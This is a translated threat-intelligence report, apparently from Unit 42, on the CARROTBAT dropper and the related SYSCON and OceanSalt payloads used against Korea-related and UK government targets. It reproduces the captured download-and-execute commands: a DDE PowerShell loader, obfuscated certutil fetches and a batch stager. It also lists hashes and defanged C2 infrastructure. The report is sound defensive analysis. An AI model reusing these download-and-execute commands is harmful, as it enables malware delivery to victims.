导语:Unit 42发现了一起新的攻击行动,该行动利用先前未报告的定制dropper传播主要与韩国和朝鲜有关的诱饵。
Unit 42发现了一起新的攻击行动,该行动利用先前未报告的定制dropper传播主要与韩国和朝鲜有关的诱饵。这些诱饵围绕着一系列主题,包括各种加密货币,加密货币交易以及政治事件。根据该dropper中的各种信息,Unit 42称这个恶意软件家族为CARROTBAT。
CARROTBAT最初是在2017年12月的一次攻击中被发现的。该攻击使用SYSCON恶意软件家族针对英国政府机构。SYSCON是一种简单的远程访问木马(RAT),它使用文件传输协议(FTP)进行网络通信。虽然没有证据表明此次针对英国政府机构的攻击使用了CARROTBAT,但我们发现攻击基础设施中的重叠最终导致我们发现了CARROTBAT,以及这两个恶意软件家族之间的其他联系。
迄今为止,共识别出29种独特的CARROTBAT样本,共包含12种经确认的独特诱饵文件。这些样本于今年3月开始出现,大部分行动在过去3个月内进行。有效载荷不同,因为之前的实例使用了SYSCON,而较新的实例使用的是之前报告的OceanSalt 恶意软件家族。CARROTBAT及其相关的有效载荷构成了我们称之为“Fractured Block”的行动。
一、初始攻击
2017年12月13日,一封鱼叉钓鱼邮件从[email protected] [.] ru发送给英国政府机构内的高级人员。此电子邮件包含以下主题,携带相同名称的附件文档:
· US. would talk with North Korea “without precondition”
在Word文档附件中,显示以下文本内容:
U.S. would talk with North Korea “without precondition”: Tillerson, By Seungmock Oh
该文引用了与NKNews[.]org当天发布的文章,文章讨论了美国与朝鲜之间的外交关系。
图1攻击英国政府机构时诱饵文档引用的文章
附件文档利用DDE漏洞最终执行以下代码:
c:\\windows\\system32\\cmd.exe "/k PowerShell.exe -ExecutionPolicy bypass -windowstyle hidden -noprofile -command (New-Object System.Net.WebClient).DownloadFile('https://881.000webhostapp[.]com/0_31.doc', '%TEMP%\\AAA.exe');Start-Process('%TEMP%\\AAA.exe')
Palo Alto Networks于2017年5月首次见证了这种DDE漏洞利用技术,攻击者继续利用它。此特定恶意软件样本运行的命令尝试下载名为0_31.doc的远程可执行文件,该文件在执行前以文件名AAA.exe放置在受害者的%TEMP%目录中。
有问题的有效载荷属于SYSCON恶意软件家族。它通过FTP与ftp.bytehost31 [.] org通信进行命令和控制(C2)。
图2执行期间的SYSCON网络流量
通过指向SYSCON样本的域名881.000webhostapp [.] com,发现了许多其他样本,包括KONNI恶意软件家族样本和4个属于CARROTBAT恶意软件家族的64位可执行文件。进一步转向属于CARROTBAT的特征,最终在该恶意软件家族中识别出29个独特的样本。
二、Fractured Block 行动
被称为Fractured Block的行动包括迄今为止发现的所有CARROTBAT样本。 CARROTBAT本身是一个dropper,它允许攻击者释放并打开一个嵌入式诱饵文件,然后执行一个命令,该命令将在目标机器上下载并运行一个有效载荷。总的来说,此恶意软件支持以下11种诱饵文档格式:
· doc
· .docx
· .eml
· .hwp
· .jpg
· .png
· .ppt
· .pptx
· .xls
· .xlsx
打开嵌入式诱饵文档后,会在系统上执行以下混淆后的命令:
C: && cd %TEMP% && c^e^r^tutil -urlca^che -spl^it -f https://881.000webhostapp[.]com/1.txt && ren 1.txt 1.bat && 1.bat && exit
此命令将尝试通过Microsoft Windows内置certutil实用程序下载并执行远程文件。有关此技术和CARROTBAT恶意软件系列的更多信息,请参阅附录Appendix。
29个独特的CARROTBAT恶意软件样本的编译时间戳在2018年3月到2018年9月之间。在这29个独特的样本中,11个独特的诱饵文件被用于攻击,如下图所示:
图3 CARROTBAT释放诱饵文档的时间线
针对韩国受害者的大多数诱饵文件都包含与加密货币相关的主题。在一个独特的案例中,诱饵包含一个COINVIL工作人员名片,该机构宣布计划于2018年5月在菲律宾建立加密货币交易所。
其他诱惑主题包括最新的政治事件,如美国和朝鲜之间的关系,以及美国总统唐纳德特朗普访问新加坡峰会等。
CARROTBAT样本的有效载荷各不相同。最初,在2018年3月到2018年7月期间,观察到SYSCON恶意软件家族的多个实例。这些样本通过FTP与以下主机进行C2通信:
· ftp.byethost7[.]com
· ftp.byethost10[.]com
· files.000webhost[.]com
从2018年6月开始,我们观察到CARROTBAT释放了OceanSalt恶意软件家族。在撰写本文时,这些样本还在继续使用,并且观察到与以下主机进行C2通信:
· 61.14.210[.]72:7117
三、与其他威胁行动的关联
如本博客前面所述,CARROTBAT和KONNI恶意软件系列之间存在基础设施重叠。KONNI是一种RAT,已经使用了四年多,具有很多功能,通常利用000webhost等免费网络托管服务提供商的C2基础设施。在撰写本文时,这个特定的恶意软件家族尚未被归类为一个命名组织,但是,其目标一直集中在东南亚地区。
我们反复提到的另一种关系是使用SYSCON恶意软件家族。这个特殊的恶意软件家族于2017年10月首次报道,并且已经观察到传播与朝鲜有关的诱饵文件。恶意软件不够复杂,利用远程FTP服务器进行C2通信。
下图中可以看到黄金标志突出显示的KONNI和紫色标志突出显示的SYSCON。
图4 关联恶意活动的Maltego图
最后,第三个重叠是OceanSalt恶意软件有效载荷。迈克菲于2018年10月首次报道,受害者包括韩国、美国和加拿大。与McAfee报告中概述的样本一样,在Fractured Block Campaign中观察到的OceanSalt样本使用与Comment Crew(aka APT1)的代码非常相似,但是,我们认为这些代码相似性是错误的导向。Comment Crew使用的恶意软件已经流传多年,我们不相信此博客文章中列出的行动与旧的Crew行动有任何重叠。
图5威胁活动随时间重叠
四、总结
发现CARROTBAT为识别Fractured Block行动提供了重要的依据。使用CARROTBAT,我们能够找到相关的OceanSalt,SYSCON和KONNI。所遇到的各种重叠尤其值得关注,我们怀疑这些威胁行动可能都属于同一个威胁行为者。但是,我们认为目前没有足够的证据可以完全确认。
CARROTBAT恶意软件家族是一种独特的dropper,虽然它支持各种类型的诱饵文件,并采用基本的命令混淆,但它不复杂。
五、附录
CARROTBAT 技术分析
使用以下样本进行后续分析:
执行时,恶意软件将读取自身的最后8个字节。这些字节为两个DWORD,它们既包含嵌入的诱饵文档的长度,也包含它的文件类型。
图6CARROTBAT文件结尾所包含诱饵文档信息
使用这些收集的信息,CARROTBAT继续读取自身的结尾,减去先前的8个字节。此数据包含整个嵌入式诱饵文档,并写入与原始恶意软件样本相同的目录和文件名。但是,根据先前获取的文件类型值更改文件扩展名。CARROTBAT使用以下相应的值:
在此特殊情况中,诱饵文档使用.hwp文件扩展名。诱饵被释放到磁盘后,它将在一个新进程中打开。在此情况下,显示给受害者的是BKN Bank加密货币交换的白皮书:
图7向受害者显示的HWP诱饵文档
显示此文档后,恶意软件将继续在新进程中执行以下命令:
C: && cd %TEMP% && c^e^r^tutil -urlca^che -spl^it -f http://s8877.1apps[.]com/vip/1.txt && ren 1.txt 1.bat && 1.bat && exit
此命令将使用内置的Microsoft Windows certutil命令下载远程文件。在此特定实例中,将获取以下脚本:
@echo off :if exist "%PROGRAMFILES(x86)%" (GOTO 64BITOS) ELSE (GOTO 32BITOS) :32BITOS certutil -urlcache -split -f http://s8877.1apps[.]com/vip/setup.txt > nul certutil -decode -f setup.txt setup.cab > nul del /f /q setup.txt > nul GOTO ISEXIST :64BITOS :certutil -urlcache -split -f http://s8877.1apps[.]com/vip/setup2.txt > nul :certutil -d^ecode -f setup2.txt setup.cab > nul :del /f /q setup2.txt > nul :GOTO ISEXIST :ISEXIST if exist "setup.cab" (GOTO EXECUTE) ELSE (GOTO EXIT) :EXECUTE ver | findstr /i "10\." > nul IF %ERRORLEVEL% EQU 0 (GOTO WIN10) ELSE (GOTO OTHEROS) :WIN10 expand %TEMP%\setup.cab -F:* %CD% > nul :if exist "%PROGRAMFILES(x86)%" (rundll32 %TEMP%\drv.dll EntryPoint) ELSE (rundll32 %TEMP%\drv.dll EntryPoint) %TEMP%\install.bat GOTO EXIT :OTHEROS wusa %TEMP%\setup.cab /quiet /extract:%TEMP% > nul %TEMP%\install.bat GOTO EXIT :EXIT del /f /q setup.cab > nul del /f /q %~dpnx0 > nul
该脚本只是检查受害者的操作系统,并使用certutil可执行文件再次下载相应的有效载荷。在这个特定的实例中,有效载荷通过base64进行编码,certutil进行解码。有问题的有效载荷是一个CAB文件,然后解压缩。最后,恶意软件在删除原始文件并退出之前执行提取的install.bat脚本。
图8 CARROTBAT通过certutil下载最终有效载荷
下载的CAB文件具有以下属性:
此CAB文件将释放以下三个文件及其说明:
C2信息存储在外部winnet.ini文件,并使用增量XOR key进行编码。用Python编写的以下函数可用于解码此文件:
def decode(data): out = "" c = 0 for d in data: out += chr(ord(d)^c) c+=1 return out
解码后,发现此OceanSalt尝试与61.14.210 [.] 72的端口7117进行通信。
CARROTBAT样本
· d34aabf20ccd93df9d43838cea41a7e243009a3ef055966cb9dea75d84b2724d
· 8b6b4a0e0945c6daf3ebc8870e3bd37e54751f95162232d85dc0a0cc8bead9aa
· 26fc6fa6acc942d186a31dc62be0de5e07d6201bdff5d7b2f1a7521d1d909847
· e218b19252f242a8f10990ddb749f34430d3d7697cbfb6808542f609d2cbf828
· 824f79a8ee7d8a23a0371fab83de44db6014f4d9bdea90b47620064e232fd3e3
· 70106ebdbf4411c32596dae3f1ff7bf192b81b0809f8ed1435122bc2a33a2e22
· 87c50166f2ac41bec7b0f3e3dba20c7264ae83b13e9a6489055912d4201cbdfc
· ac23017efc19804de64317cbc90efd63e814b5bb168c300cfec4cfdedf376f4f
· d965627a12063172f12d5375c449c3eef505fde1ce4f5566e27ef2882002b5d0
· 7d443434c302431734caf1d034c054ad80493c4c703d5aaeafa4a931a496b2ae
· 1142dcc02b9ef34dca2f28c22613a0489a653eb0aeafe1370ca4c00200d479e0
· 337b8c2aac80a44f4e7f253a149c65312bc952661169066fe1d4c113348cc27b
· 92b45e9a3f26b2eef4a86f3dae029f5821cffec78c6c64334055d75dbf2a62ef
· 42e18ef3aaadac5b40a37ec0b3686c0c2976d65c978a2b685fefe50662876ded
· ba78f0a6ce53682942e97b5ad7ec76a2383468a8b6cd5771209812b6410f10cb
· dca9bd1c2d068fc9c84a754e4dcf703629fbe2aa33a089cb50a7e33e073f5cea
· 7d8376057a937573c099e3afe2d8e4b8ec8cb17e46583a2cab1a4ac4b8be1c97
· 3cbccb059225669dcfdc7542ce28666e0b1a227714eaf4b16869808bffe90b96
· aef92be267a05cbff83aec0f23d33dfe0c4cdc71f9a424f5a2e59ba62b7091de
· 2547b958f7725539e9bba2a1852a163100daa1927bb621b2837bb88007857a48
· 6c591dddd05a2462e252997dc9d1ba09a9d9049df564d00070c7da36e526a66a
· 22b16fa7af7b51880faceb33dd556242331daf7b7749cabd9d7c9735fb56aa10
· 3869c738fa80b1e127f97c0afdb6c2e1c15115f183480777977b8422561980dd
· ba100e7bac8672b9fd73f2d0b7f419378f81ffb56830f6e27079cb4a064ba39a
· e527ade24beacb2ef940210ba9acb21073e2b0dadcd92f1b8f6acd72b523c828
· 9fa69bdc731015aa7bdd86cd311443e6f829fa27a9ba0adcd49fa773fb5e7fa9
· ffd1e66c2385dae0bb6dda186f004800eb6ceaed132aec2ea42b1ddcf12a5c4e
· e3b45b2e5d3e37f8774ae22a21738ae345e44c07ff58f1ab7178a3a43590fddd
· a0f53abde0d15497776e975842e7df350d155b8e63d872a914581314aaa9c1dc
SYSCON Payload 样本
· 5a2c53a20fd66467e87290f5845a5c7d6aa8d460426abd30d4a6adcffca06b8b
· fceceb104bed6c8e85fff87b1bf06fde5b4a57fe7240b562a51727a37034f659
· fa712f2bebf30592dd9bba4fc3befced4c727b85a036550fc3ac70d1965f8de5
· da94a331424bc1074512f12d7d98dc5d8c5028821dfcbe83f67f49743ae70652
· 2efdd25a8a8f21c661aab2d4110cd7f89cf343ec6a8674ff20a37a1750708f27
· 62886d8b9289bd92c9b899515ff0c12966b96dd3e4b69a00264da50248254bb7
· f27d640283372eb805df794ae700c25f789d77165bb98b7174ee03a617a566d4
· 0bb099849ed7076177aa8678de65393ef0d66e026ad5ab6805c1c47222f26358
· f4c00cc0d7872fb756e2dc902f1a22d14885bf283c8e183a81b2927b363f5084
· e8381f037a8f70d8fc3ee11a7bec98d6406a289e1372c8ce21cf00e55487dafc
· 1c8351ff968f16ee904031f6fba8628af5ca0db01b9d775137076ead54155968
· 2da750b50ac396a41e99752d791d106b686be10c27c6933f0d3afe762d6d0c48
· 5d1388c23c94489d2a166a429b8802d726298be7eb0c95585f2759cebad040cf
· 0490e7d24defc2f0a4239e76197f1cba50e7ce4e092080d2f7db13ea0f88120b
OceanSalt Payload样本
· 59b023b30d8a76c5984fe62d2e751875b8b3ebe2d520891458cb66a4e9c40005
· 7cf37067f08b0b8f9c58a35d409fdd6481337bdc2d5f2152f8e8f304f8a472b6
· fe8d65287dd40ca0a1fadddc4268268b4a77cdb04a490c1a73aa15b6e4f1dd63
· a23f95b4a602bdaef1b58e97843e2f38218554eb57397210a1aaa68508843bd0
· 59b023b30d8a76c5984fe62d2e751875b8b3ebe2d520891458cb66a4e9c40005
· cfe436c1f0ce5eb7ac61b32cd073cc4e4b21d5016ceef77575bef2c2783c2d62
· 7ae933ed7fc664df4865840f39bfeaf9daeb3b88dcd921a90366635d59bc15f2
· 3663e7b197efe91fb7879a56c29fb8ed196815e0145436ee2fad5825c29de897
· 59b023b30d8a76c5984fe62d2e751875b8b3ebe2d520891458cb66a4e9c40005
· 7ae933ed7fc664df4865840f39bfeaf9daeb3b88dcd921a90366635d59bc15f2
· cf31dac47680ff1375ddaa3720892ed3a7a70d1872ee46e6366e6f93123f58d2
· fe186d04ca6afec2578386b971b5ecb189d8381be055790a9e6f78b3f23c9958
基础架构
· https://881.000webhostapp[.]com/1.txt
· http://attach10132.1apps[.]com/1.txt
· https://071790.000webhostapp[.]com/1.txt
· https://vnik.000webhostapp[.]com/1.txt
· https://7077.000webhostapp[.]com/vic/1.txt
· http://a7788.1apps[.]com/att/1.txt
· http://s8877.1apps[.]com/vip/1.txt
· http://hanbosston.000webhostapp[.]com/1.txt
· http://bluemountain.1apps[.]com/1.txt
· https://www.webmail-koryogroup[.]com/keep/1.txt
· http://filer1.1apps[.]com/1.txt
· ftp.byethost7[.]com
· ftp.byethost10[.]com
· files.000
· webhost[.]com61.14.210[.]72:7117